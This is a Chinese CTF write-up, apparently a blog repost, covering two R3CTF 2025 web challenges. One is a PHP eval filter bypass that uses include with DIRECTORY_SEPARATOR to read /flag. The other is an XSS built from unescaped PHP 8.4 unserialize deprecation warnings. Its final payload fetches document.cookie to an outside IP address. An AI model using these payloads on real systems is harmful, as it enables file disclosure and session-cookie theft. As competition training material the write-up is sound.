当前位置: 首页 > news >正文

2025 R3CTF

文章目录

      • Evalgelist
      • Silent Profit(复现)

Evalgelist

<?phpif (isset($_GET['input'])) {echo '<div class="output">';$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);$cmd = $filtered . '();';echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";echo '<strong>Execution Result:</strong>' . "\n";echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';try {ob_start();eval($cmd);$result = ob_get_clean();if (!empty($result)) {echo '<span class="success">✅ Function executed successfully!</span>' . "\n";echo htmlspecialchars($result);} else {echo '<span class="success">✅ Function executed (no output)</span>';}} catch (Error $e) {echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';} catch (Exception $e) {echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';}echo '</div>';echo '</div>';}?>

没有过滤;, 可以执行多条语句

在php中,未被双引号包裹的字符串会被定义为常量,若是找不到这个常量就会被自动转化成字符串

include在包含文件的时候会查找include_path 环境变量中的路径,一般就是 .:/usr/local/lib/php
. -> 当前目录 , /usr/local/lib/php ->系统 PEAR 库路径

所以可以通过include 文件名;die 来读取当前目录的文件
比如我在当前目录新建一个flag的文件,include flag就可以读取这个文件的内容,虽然会有警告,但是依然会往下执行
(如果文件里面符合php的语法,也会当成php文件进行执行)

因为没有引号包裹的原因,是无法读取像 index.php的这种文件的,这种文件会被当成两个字符串通过.进行拼接,也就是会去查找indexphp这个文件名

flag在/flag下,但是/被过滤了,无法直接include /flag读取文件

不过就算/没被过滤,好像也不能直接通过include /flag进行读取

在这里插入图片描述

所以就需要想办法拼接一个/flag
php中存在一个常量DIRECTORY_SEPARATOR可以表示/, 通过.进行拼接就可以得到/flag

构造payload:include DIRECTORY_SEPARATOR.flag;die

在这里插入图片描述

Silent Profit(复现)

bot.js

const express = require('express');
const puppeteer = require('puppeteer');const app = express();app.use(express.urlencoded({ extended: false }));const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;app.post('/report', async (req, res) => {const { url } = req.body;if (!url || !url.startsWith('http://challenge/')) {return res.status(400).send('Invalid URL');}try {console.log(`[+] Visiting: ${url}`);const browser = await puppeteer.launch({headless: 'new',args: ['--no-sandbox','--disable-setuid-sandbox',]});await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });const page = await browser.newPage();await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });await page.waitForNetworkIdle({timeout: 5000})await browser.close();res.send('URL visited by bot!');} catch (err) {console.error(`[!] Error visiting URL:`, err);res.status(500).send('Bot error visiting URL');}
});app.get('/', (req, res) => {res.send(`<h2>XSS Bot</h2><form method="POST" action="/report"><input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" /><button type="submit">Submit</button></form>`);
});app.listen(PORT, () => {console.log(`XSS bot running at port ${PORT}`);
});

index.php

<?php 
show_source(__FILE__);
unserialize($_GET['data']);

只有这两行代码去实现反序列化,想要实现xss的攻击,肯定是需要控制信息显示在浏览器上面

题目环境是php8.4 ,所以可能就是这个版本有关于unserialize函数的报错的相关修改

PHP 8.1 新引入的 enum 枚举序列化格式,传入一个enum 对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面

在这里插入图片描述

试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗

在这里插入图片描述

因为常规的错误信息输出函数(如php_error_docref)会对输出进行HTML转义,所以无法直接触发XSS。

所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误

PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名

此警告通过 zend_error() 输出,不会进行 HTML 转义

这样我们就可以通过控制属性名来进行xss了

添加一个test类进行测试
反序列化时添加一个动态的属性aa,就会发现这个属性名被回显到里浏览器上面

在这里插入图片描述

将其替换成xss的payload,发现可以弹窗

在这里插入图片描述

那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了

这样的类有很多,可以用Exception来构造

O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

在这里插入图片描述

最终的payload:

url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}

在这里插入图片描述

参考文章

https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518
http://www.xdnf.cn/news/1124029.html

相关文章:

  • 日语学习-日语知识点小记-构建基础-JLPT-N3阶段(4):语法+单词+復習+发音
  • JS基础知识(上)
  • 设计模式(行为型)-迭代器模式
  • H2 与高斯数据库兼容性解决方案:虚拟表与类型处理
  • 前端开发中的常见问题及解决方案
  • 群晖Nas - Docker(ContainerManager)上安装SVN Server和库权限设置问题
  • HarmonyOS从入门到精通:动画设计与实现之九 - 实用动画案例详解(下)
  • Redis作缓存时存在的问题及其解决方案
  • mysql 与redis缓存一致性,延时双删 和先更新数据库,再删除缓存,哪个方案好
  • 《Librosa :一个专为音频信号处理和音乐分析设计的Python库》
  • Pythonic:Python 语言习惯和哲学的代码风格
  • Kubernetes 高级调度01
  • STM32F1_Hal库学习UART
  • 破局与重构:文心大模型开源的产业变革密码
  • Java-ThreadLocal
  • java基础(day07)
  • 打开xmind文件出现黑色
  • 【LeetCode 热题 100】94. 二叉树的中序遍历——DFS
  • 13.计算 Python 字符串的字节大小
  • SpringMVC2
  • 鸿蒙开发NDK之---- 如何将ArkTs的类型转化成C++对应的类型(基础类型,包含部分代码解释)
  • 修改主机名颜色脚本
  • 虚拟货币交易:游走在合法与犯罪的生死线
  • 在Adobe Substance 3D Painter中,已经有基础图层,如何新建一个图层A,clone基础图层的纹理和内容到A图层
  • Java:继承和多态(必会知识点整理)
  • 【React Natve】NetworkError 和 TouchableOpacity 组件
  • Python 基础语法2:组合数据类型、异常
  • 【深度学习框架终极PK】TensorFlow/PyTorch/MindSpore深度解析!选对框架效率翻倍
  • JavaScript中Object.defineProperty的作用和用法以及和proxy的区别
  • SSM框架学习——day1